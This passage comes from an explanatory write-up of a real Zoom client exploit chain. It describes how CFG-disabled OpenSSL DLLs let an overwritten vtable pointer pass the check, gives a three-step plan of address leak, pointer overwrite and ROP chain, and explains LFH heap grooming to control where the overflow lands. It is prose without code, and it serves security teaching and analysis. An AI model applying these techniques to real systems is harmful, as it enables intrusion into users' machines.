In plain words: whenever the program is about to make a call through a function pointer, a vtable or any other address it computed at runtime, the compiler has inserted a small check first. That check takes the address about to be called and looks it up in a list that the program built when it loaded. The list contains the starting address of every function that is a legitimate call target. If the address is in the list, the call proceeds. If it is not, the program raises an exception and stops, rather than jumping into the middle of some function or into data.
Think of a building with a reception desk at every door. Before you can enter a room, the receptionist checks your name against the list of people allowed in that room. If you are on the list, you go in; if not, you are stopped. An attacker who overwrites a function pointer with an address of their choosing is trying to walk into a room they are not on the list for, and CFG is the receptionist.
This is a strong defence, and it is why overwriting a vtable is not automatically enough. The attacker can change the pointer, but the new address has to be a valid function start, or the check stops the call. So the attacker needs a target address that is on the list, which usually means a real function in a real DLL.
The researchers noticed that ASLR and DEP were used correctly by Zoom, but the use of CFG had a weakness: the 2 OpenSSL DLL's did not have CFG enabled due to an incompatibility in OpenSSL, which was very helpful for us.
This is the crack in the defence. OpenSSL is the cryptography library Zoom bundles, and it is built separately from Zoom's own code. Because of an incompatibility in OpenSSL, its two DLLs were compiled without CFG. That means those two DLLs have no list of valid function start addresses, and no checks inside them. The researchers describe the consequences precisely:
Not enabling CFG for a dll means two things:
- Any dynamic function call by this library does not check if the address is a function start location. In other words,
guard_check_icallis not inserted. - Any dynamic function call from another library which does use CFG which calls an address in these dlls is always allowed. The valid start location list is not present for these dlls, which means that it allows all addresses in the range of that dll.
The first consequence is straightforward: inside the OpenSSL DLLs, calls through function pointers are not checked at all, because the compiler did not insert the check. The second consequence is the important one, and it is subtle. When a CFG-enabled library, such as Zoom's own code, makes a dynamic call to an address that falls inside one of the CFG-disabled OpenSSL DLLs, the check is always allowed. Why? Because the list of valid function starts is built per module, and for a module without CFG there is no list. The check cannot say "this address is not on the list" for a module that has no list, so it permits every address in that module's range.
In plain words: the receptionist at the door has a list for every room in the building except the two rooms in the OpenSSL wing. For those two rooms, there is no list, so the receptionist lets everyone in. An attacker who can point a function pointer at any address inside those two DLLs will pass the check, even if the address is in the middle of a function rather than at its start.
This is what made the whole chain viable. The plan the researchers formed was:
- Leak an address from one of the two OpenSSL DLL's to deal with ASLR.
- Overflow a vtable or function pointer to point to a location in the DLL we have located.
- Use a ROP chain to gain arbitrary code execution.
Step 1 defeats ASLR: once one address inside an OpenSSL DLL is known, the load address of that DLL is known, and every other address inside it can be calculated by adding a fixed offset. Step 2 defeats CFG: because the target address is inside a CFG-disabled DLL, the check allows it, even if it points into the middle of an instruction sequence rather than at a function start. Step 3 turns that single controlled jump into a full chain of function calls, which is the subject of the later section on return-oriented programming.
Notice what is not in the plan: there is no attempt to defeat DEP directly. The ROP chain will call a legitimate Windows function to change memory permissions, which is the standard way around DEP. And there is no attempt to defeat ASLR by brute force alone; the leak gives a real address, and the GIF trick later gives a predictable address for attacker-controlled data. Each defence is answered by a specific technique, and the CFG weakness is what makes the answer to CFG possible at all.
One more point about the defences is worth stating plainly. The researchers describe ASLR and DEP as used correctly by Zoom. The weakness was not that Zoom forgot to enable them; it was that a bundled third-party library, OpenSSL, could not use CFG because of an incompatibility in OpenSSL itself. This is a common pattern in real software: the main application is hardened, but a dependency is not, and the dependency becomes the weakest link. When you audit a Windows application, the modules it loads are part of its attack surface, and a module without CFG is a module whose addresses are all valid call targets.
With the defences understood and the three-step plan formed, the researchers could turn to the practical problem: how to perform the overflow on the LFH, where placement is randomised, and still get the layout they needed. That is the next part of the story.
Filling a bucket to control placement
The three-step plan from the previous section, leak an address, overwrite a vtable or function pointer, then run a ROP chain, says what the exploit has to achieve. That is the practical problem, and it is where the move to the LFH pays off.
Recall why the back-end allocator was abandoned. Its placement is deterministic, which sounds ideal, but the exploit needed several different size ranges to line up at once, and each of those ranges had a chance of having already moved to the LFH during Zoom's startup. With more sizes, the chance that at least one of them was on the LFH grew until the exploit had already failed 75% of the time by the time the application had finished launching. Fighting that was a losing game.
The alternative was to stop fighting and join it. Instead of trying to keep the 1,040-byte allocation on the back-end allocator, the researchers forced it onto the LFH deliberately, using the same method of forcing a size to the LFH first: make the client allocate at least 18 blocks of that size range and keep them alive. Once the range is on the LFH, it stays there, and the question becomes how to deal with the LFH's randomisation rather than how to avoid it.
The 1,040-byte allocation is placed in a bucket with all LFH allocations of 1,025 bytes to 1,088 bytes. That range is the playing field. Any object whose size falls between 1,025 and 1,088 bytes shares the same buckets as the overflowing buffer, which means it can end up next to it, and it also means it can end up in the way. The target object the researchers wanted to overwrite, the FileWrapperImpl objects described later, is 1,064 bytes, comfortably inside the range.
The problem to solve is the randomisation described earlier: when a request for a size in this range arrives, the LFH returns a random free slot from the current bucket. If the current bucket is full, it looks if there are other not yet full buckets of the same size range. If there are none, the heap is extended and a new bucket is created. Random slot selection is what makes the LFH hostile to an attacker who needs two specific blocks adjacent, because the attacker cannot say which slot will be handed out next.
The technique the researchers used to tame this is simple to describe and was very helpful in practice. While not perfect, one way we avoided a lot of crashes was to create a lot of new allocations in the size range and then freeing all but the last one.
In plain words, step by step:
- Create a lot of new allocations in the size range. By allocating many blocks of 1,025 to 1,088 bytes, the researchers guaranteed that all buckets for this size range were full and they got a new bucket. Every existing bucket, including the ones that already held objects belonging to Zoom, was filled to capacity, so the LFH had no choice but to extend the heap and create a fresh bucket.
- Free all but the last one. Freeing a number of these allocations, but keeping the last block, meant there was a lot of room in this new bucket. The freed slots all belong to the fresh bucket, and the one block that was kept keeps that bucket alive and current.
- Stay inside the bucket. As long as they did not allocate more blocks than would fit, all allocations of the size range would come from here. The LFH checks the bucket most recently used for an allocation of that size first, and that bucket now has plenty of room, so every subsequent allocation of the range lands in it.
The effect is that the randomisation is confined to a room the researchers built themselves. The LFH still picks a random free slot, but every slot it can pick is inside the new bucket, and the new bucket contains only blocks the researchers created. The dangerous objects, the ones Zoom allocated during startup and normal operation, are in the older buckets, which are full and therefore not consulted. This was very helpful for reducing the chance of overwriting other objects that happen to fall in the same size range.
The following video shows the "dangerous" objects we don't want to overwrite in orange, and the safe objects we created in green:
The video makes the arrangement visible. The orange blocks are the objects Zoom created on its own, the ones that would crash the client or corrupt its state if the overflow landed on them. The green blocks are the ones the researchers created by sending messages, the safe objects that exist only to fill the buckets and provide room. The point of the technique is that the green blocks surround the area where the exploit will work, so that when the 1,040-byte buffer is allocated and overflowed, the random slot it receives is drawn from the green pool rather than from the orange one.
As long as Bucket 3 didn't fill up completely, all allocations for the targeted size range would happen in that bucket, allowing us to avoid overwriting the orange objects. So long as no new "orange" objects were created, we could freely try again and again. The randomization would actually help us ensure that we would eventually obtain the object layout we wanted.
That last sentence is the counter-intuitive payoff. On the back-end allocator, randomisation would have been a disaster, because the whole plan depended on exact, predictable placement. On the LFH, with the dangerous objects safely in other buckets, randomisation becomes an ally. The exploit needs three things to line up: the overflowing buffer, the query part of a URL, and a deallocated TLS1_PRF_PKEY_CTX object, in the right order. The researchers cannot force that order directly, because the LFH chooses slots at random. But if every attempt draws from a pool of safe slots, then each attempt is an independent roll of the dice, and repeating the attempt often enough eventually produces the layout. The randomisation that made the LFH unusable for the back-end plan is exactly what makes repeated attempts on the LFH worthwhile.
There is a limit to this, and it is the same limit as before: the bucket must not fill up completely. If the researchers allocate more blocks than the bucket can hold, the LFH moves on to another bucket, and the safe arrangement is lost. So the number of objects, connections and overflows has to be balanced, which is the difficult part described in the information leak section. Too few objects and